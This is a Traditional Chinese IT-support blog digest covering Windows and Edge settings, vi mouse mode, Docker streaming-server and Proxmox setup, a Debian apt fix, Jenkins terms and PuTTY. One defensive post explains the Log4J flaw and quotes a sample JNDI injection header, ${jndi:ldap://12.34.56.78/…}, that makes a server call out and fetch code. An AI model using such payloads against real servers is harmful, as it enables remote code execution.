改變 Alt-Tab 鍵的行為
常用的 Alt-Tab, 能快速切換視窗; 但會被 Edge 的頁面佔據多數, 這跟沒用 Edge 之前不一樣(很不習慣), 要回覆之前的 Alt-Tab 行為:
- 到 設定 (settings) -> 系統(System)
- 在左選單選到 Multitasking
- 找到 Alt-Tab 選 Open windows only(如圖)
改變 Alt-Tab 鍵的行為
常用的 Alt-Tab, 能快速切換視窗; 但會被 Edge 的頁面佔據多數, 這跟沒用 Edge 之前不一樣(很不習慣), 要回覆之前的 Alt-Tab 行為:
最近同仁用 Edge 愈來愈多, 這裡有幾個使用 Edge 遇到的問題與設定:
你可以到 edge://settings/appearance#MiniMenu , or 直接在 context menu 直接把它隱藏(hide, 它會帶你到同樣的頁面)
把 Mini menu on text selection 關閉
2. 預設搜尋引擎
Edge 預設是 Bing (雖然最近 ChatGPT 好用); 如果想要用 Google 為預設,
請到 : edge://settings/privacy
直接捲到最下方: Address bar and search
找到 Google (設定成 Default)
我們常在 vi 內選取我們要的內容, 可能複製來記錄、下指令或其它用途;以往只要抓著滑鼠點選並拖曳就可以選取我們要的文字,但最近確出現,原本應該要多重選取的行為,在滑鼠推曳後變成捲動 vi 內文?
要解決這個方法有兩個:
set mouse-=a
這個指令,但是每次進來 vi 都要下.set mouse=
就可以了, 只個檔案如下:set mouse=
set ttymouse=
如果要在整台 linux 都採用這個設定(global), 把相同內容寫在 /etc/vimrc 內即可。
準備空間,實體位置,方便備份串流資料。
stream 下有 data 及 hls ,eg. /home/stream/data and /home/stream/hls
sudo mkdir -p /home/stream/data/tmp_uploads
sudo mkdir -p /home/stream/data/tmp_videos
sudo mkdir -p /home/stream/hls
準備 redis 空間(方便以後備份資料庫)
sudo mkdir -p /home/stream/redisdata
docker run -d --name Toriredis --restart=always -v /home/stream/redisdata:/data redis redis-server --appendonly yes
從 docker hub 抓取 image
docker run -d --name Yakitory -e RACK_ENV=production -p80:80 -v /home/yakitory/data:/opt/yakitory/public/data -v /home/yakitory/hls:/opt/yakitory/public/hls --link Toriredis:redis moodletw/tory-sandbox2020:76
-p80:80 以 http 埠
-v 對應空間
–link 連 redis
瀏覽器開 VM IP 的 80, eg: http://34.81.42.35/ login
用 Create new 新增一個 client 給 Moodl 用 。
接下來就到 Moodle 安裝外掛(plugin) 來使用串流了。
因為 Proxmox 的 LXC 己經是 container, 在發現有 portainer 時, 就不在需要用 Proxmox 建 VM、再安裝 Docker 當 HOST 的方式。
找一台 PVE 的主機,進入 debian 的 root 權限。
apt-get update
apt-get dist-upgrade -y
apt-get install -y apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
#以下這段要另外複製到 notepad 上再貼到 debian 執行(因為 new site 會加上一空白行)
apt-key fingerprint 0EBFCD88
接著進入 PVE55, PVE61
# $(lsb_release -cs) 就是 stretch or buster
add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/debian \
$(lsb_release -cs) \
stable"
apt-get update
apt-get install -y docker-ce
docker ps
有看到 docker 列表就ok了。
因為詢問的太多,所以特別作一篇文章跟大家說明是什麼狀況
我們都知道 Log4J 是專門記錄 log(日誌)的,而在網站伺服器記錄log的流程如下圖。
而目前的 Log4J 存在的弱點,有可能(請注意,是有可能) 遭遇攻擊的方式:
1. 偽造 http 的要求,如下圖,送出假的 agent,如: ${jndi:ldap://12.34.56.78/….}
2. 造成右邊的網站伺服器在處理log時,反而對外連到 12.34.56.78 這台主機。
(這裡為了讓大家理解,將實際減化許多)
除了連到外面主機之外,也可以下載檔案。如此一來,能做的事就很多了;
eg.先下載一個執行檔,然後再執行它。
希望以上的說明,能幫助大家對這個問題的了解;因為 log4j 的使用範圍實在太廣了,相信這也是為什麼會讓大家特別重視的原因。如果您的Moodle 或同步教室還有問題,可以連絡我們,協助釐清問題。
最近的 debian 更新時,出現錯誤:
E: Repository 'http://security.debian.org/debian-security buster/updates InRelease' changed its 'Suite' value from 'stable' to 'oldstable'
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
N: Repository 'http://deb.debian.org/debian buster InRelease' changed its 'Version' value from '10.1' to '10.10'
E: Repository 'http://deb.debian.org/debian buster InRelease' changed its 'Suite' value from 'stable' to 'oldstable'
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
E: Repository 'http://deb.debian.org/debian buster-updates InRelease' changed its 'Suite' value from 'stable-updates' to 'oldstable-updates'
N: This must be accepted explicitly before updates for this repository can be applied. See apt-secure(8) manpage for details.
輸入以下指令:
apt-get update --allow-releaseinfo-change
再下一次 update,就可以了。
有關 Jenkins 架構與名詞解釋:
Jenkins 採用的是 Master / Slave 模式:
Master
Slave
Job / Project : 在 Jenkins 的世界這兩個意思是一樣的,指的是可被 Jenkins 控制/監控的任務
Slave/Node
Executor
Build
Plugin
前文提到將私鑰轉換為 PuTTY 可以用的 PPK, 這裡還有另外一個用法.
直接點選 ppk 檔案, Windows 右下角(Trayicon)就會有 icon ; 這時就可以直 putty 登入(這個方法也適用 WinSCP)
藍色電腦圖示.